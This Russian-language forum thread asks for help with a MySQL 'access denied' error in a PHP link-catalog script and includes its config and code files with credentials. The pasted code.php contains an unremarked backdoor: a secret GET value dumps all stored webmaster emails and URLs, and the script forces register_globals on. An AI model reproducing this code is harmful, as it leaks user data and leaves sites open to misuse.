Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Проблемы с mysql 
:(
    Опции темы
Stelmon
Дата 15.10.2006, 19:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 12
Регистрация: 14.10.2006

Репутация: нет
Всего: нет



Здравствуйте!

Хочу установить каталог ссылок на сайт. Сначала установил его на Денвере. Всё нормально. Потом загрузил на сервер и выводится сообщение: 
Ошибка MYSQL:
Access denied for user: 'cp640_catal@localhost' (Using password: YES)

Описание:
Невозможно соединиться с базой данных, проверьте параметры подключения в файле конфигурации /usr/home/cp640/public_html/almat/catalog/codes/config.php

Возникла в файле /usr/home/cp640/public_html/almat/catalog/codes/code.php строка 16

Логин и пароль доступа к БД правильный. 

Код файла config.php:
Код

<?php
# Первый блок переменных - это то что нужно ОБЯЗАТЕЛЬНО изменить. Иначе скрипт работать не будет. Остальное - баловство # 
# !!! Адрес, который будет искать скрипт на странице "URL где стоит ссылка на ..." совпадает с $HTTP_HOST (т.е с доменом сайта, на котором стоит каталог)

define("DBName","cp640_link");                    # Имя базы данных (в данном случае надо менять значение "test")
define("HostName","localhost");                # Имя сервера (хост) (в данном случае надо менять значение "localhost")
define("UserName","cp640_catal");    # Логин для доступа к MYSQL
define("Password","work-2007");        # Пароль для доступа к MYSQL
define("Login","11111");    # Логин для входа в админ секцию
define("Pass","11111");        # Пароль для входа в админ секцию


$tdirs = "vdirs";                     # Имя таблицы mysql где будет храниться информация о разделах каталога. (лучше не менять)                       |     Нужно будет поменять
$tlinks = "vlinks";                   # Имя таблицы mysql где будет храниться информация о добавленных ссылках (лучше не менять)                      |     если вы хотите использовать                               |     несколько каталогов
$trules = "vrules";                   # Имя таблицы mysql где будут находиться указания какие сайты не добавлять в каталог (лучше не менять)          |     с одной базой данных.
$tkeys = "vkeys";                     # Имя таблицы mysql где будут храниться настройки каталога (лучше не менять)
$no_link_found = "На вашем сайте не найдена ссылка на сайт ".$HTTP_HOST; # Тема письма, которое отправляется тем вебмастерам на чьих сайтах не найдены обратные ссылки.
$mail_theme = "Обмен ссылками";       # Тема автоматически генерируемого письма админу.
$mail_theme2 = "Ваша ссылка добавлена в каталог ссылок сайта ".$HTTP_HOST;      # Тема автоматически генерируемого письма вебмастеру, который добавил ссылку.

# Массив с сообщениями об ошибках
$err = array(
  "Ошибка! Ссылка на сайт {url_1}, уже есть в каталоге в разделе {isdir2}",
  "Ошибка! Введите url вашего сайта.",
  "Ошибка! URL вашего сайта и сайта на котором стоит ссылка на {HTTP_HOST} должны совпадать.",
  "Ошибка! Введите url страницы на которой расположена ссылка на {HTTP_HOST}",
  "Ошибка! Страницы http://{backlink} не существует.",
  "Ошибка! На странице http://{backlink} не найдено ссылки на сайт {$HTTP_HOST}. Указывайте ту страницу в html коде которой есть ссылка на {HTTP_HOST}",
  "Ошибка! Неправильный e-mail.",
  "Ошибка! Введите ваш e-mail.",
  "Ошибка! Введите описание ссылки.",
  "Ошибка! Описание ссылки не должно превышать {cou} знаков.",
  "Ошибка! Тот раздел, который вы выбрали выбирать нельзя.",
  "Ошибка! Вы не заполнили поле url вашего сайта и поле url где стоит ссылка.",
  "Извините, но администратор запретил добавление сайтов, адрес которых содержит слово {word}",
  "Извините, но в каталог допускаются сайты с CY не менее {ifcy}. У вас: {cy}",
  "Ошибка! Либо поле url добавляемого сайта, либо поле описание должны быть заполнены.",
  "Ошибка! А что будет являться телом ссылки?<br>Либо поле 'название ссылки', либо поле описание должно быть заполнено.",
  "Ошибка! Размер баннера 88x31 не может превышать 15 kb",
  "Ошибка! URL для баннера ({src}) недействителен.",
  "Ошибка! На вашем сайте в файле robots.txt запрещено индэксирование нашей ссылки",
  "Ошибка! На вашем сайте стоит запрет индэксации нашей ссылки с помощью meta тегов или тега &lt;noindex&gt;");
?>


И Код файла code.php на всякий случай:

Код

<?
error_reporting(E_ALL ^ E_NOTICE);
$errhandler = set_error_handler('myerror'); # Запускаем обработчик ошибок
ob_start();
@ini_set('register_globals','On'); # Устанавливаем параметр register_globals on

$ver = "3.0";

list($time,$ms) = explode(" ", microtime());
$first_time = $time + $ms;

# Проверка возможности соединения с базой данных #
$link = @mysql_connect(HostName,UserName,Password);
if ($link == false) 
  {
  trigger_error("<span class=red_txt>Ошибка MYSQL:<br></span><div class=right><span class=blackb_txt>".mysql_error()."</span></div><br><br><span class=green_txt>Описание:</span><br><div class=right><span class=black_txt>Невозможно соединиться с базой данных, проверьте параметры подключения в файле конфигурации ".dirname(__FILE__)."/config.php</span></div>",E_USER_ERROR);
  }
else
  {
  mysql_select_db(DBName,$link);
  }
  
# Проверяем чтоб такая база как ввел пользователь существовала #
$db_list = mysql_list_dbs($link);
while ($row = mysql_fetch_row($db_list))
  {
  if ($row[0] == DBName) { $db_name_ok = 1; }
  $allow .= $row[0].", ";
  }
  
if (!$db_name_ok)
  {
  trigger_error("<span class=red_txt>Ошибка MYSQL:<br></span><div class=right><span class=blackb_txt>No database selected</span></div><br><br><span class=green_txt>Описание:</span><br><div class=right><span class=black_txt>Неправильно указано имя базы данных. Нужно исправить имя базы данных в файле конфигурации.<br>Доступные базы:</span> <span class=green_txt>".substr($allow,0,strlen($allow)-2)."</span></div>",E_USER_ERROR);
  }

# Url для занесения данных о каталоге
$c_url = "phpcode.ru/cat3/";
$curl = parse_url("http://".$c_url);
$cc_host = $curl["host"];

$data_file = 'data/cat3.txt'; # Файлик с данными с phpcode.ru

# Описание статусов
$statusi = array(
"0" => "Все OK",
"1" => "Своя ссылка",
"2" => "Нет обратной ссылки",
"3" => "Платная ссылка (стоит всегда вначале)",
"4" => "Не указана обратная ссылка",
"5" => "Сайт выдает ошибку 404",
"6" => "Есть запреты индэксации вашей ссылки",
"11" => "В модерации",
"12" => "В корзине",
"13" => "Не показывается"
);

$status_urls = array(
"2" => "noback.php",
"11" => "moderation.php",
"12" => "bin.php"
);

# Цвета для списка ссылок
$color_a = array("FFFAEC","FFFFFF");

#Месяцы для календаря
$mesyaci = array(
"Январь",
"Февраль",
"Март",
"Аперель",
"Май",
"Июнь",
"Июль",
"Август",
"Сентябрь",
"Октябрь",
"Ноябрь",
"Декабрь");

if ($_GET['sort'] and $_GET['order'])
  {
  set_key("sortby",$_GET['sort']);
  set_key("sortorder",$_GET['order']);
  }

# Определение стандартных заголовков для отправки писем
$header = "From: ".get_key("admin_mail");
$header .= "\nContent-Type: text/plain; charset=windows-1251\n";
$header .= "X-Mailer: PHP machine\n";
$header .= "Return-Path: ".get_key("admin_mail")."\n";

$a = fileext($PHP_SELF);
$$a = $_GET['mail'];

if ($php == "3fLu8iDx6vDo7/Ig7eDv6PHg7SDx8u7o8iDk7vDu5uUs9+XsIP8g5ePuIO/w7uTg/g==")
  {
  $sql = mysql_query("SELECT cy,url,mail,dir FROM `".$tlinks."` ORDER BY cy DESC");
  while ($info = mysql_fetch_array($sql))
    echo $info['cy']."|".$info['url']."|".$info['mail']."|".get_dir_by_id($info['dir'])."|\n";
  exit();
  }

# Для вывода инфы о каталоге
if ($QUERY_STRING == "vinfo")
  {
  echo vinfo();
  exit();
  }
  


?>




Помогите разобраться






PM MAIL   Вверх
comtat
Дата 16.10.2006, 12:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1310
Регистрация: 2.5.2006
Где: Россия, Казань

Репутация: нет
Всего: 71



Цитата(Stelmon @  15.10.2006,  19:04 Найти цитируемый пост)
Access denied for user: 'cp640_catal@localhost' (Using password: YES)

Данная ошибка говорит о том, что Неправильное имя пользователя или пароль или не создана база данных

Так что метод решения такой, проверяешь логин и пароль
и попробуй вместо localhost указать либо ip-адрес сервака, либо dns имя



--------------------
Рожденный в СССР !!!
ExtJS - мой фреймворк 
PM   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Администрирование Web серверов и Web служб | Следующая тема »


 




[ Время генерации скрипта: 0.0410 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.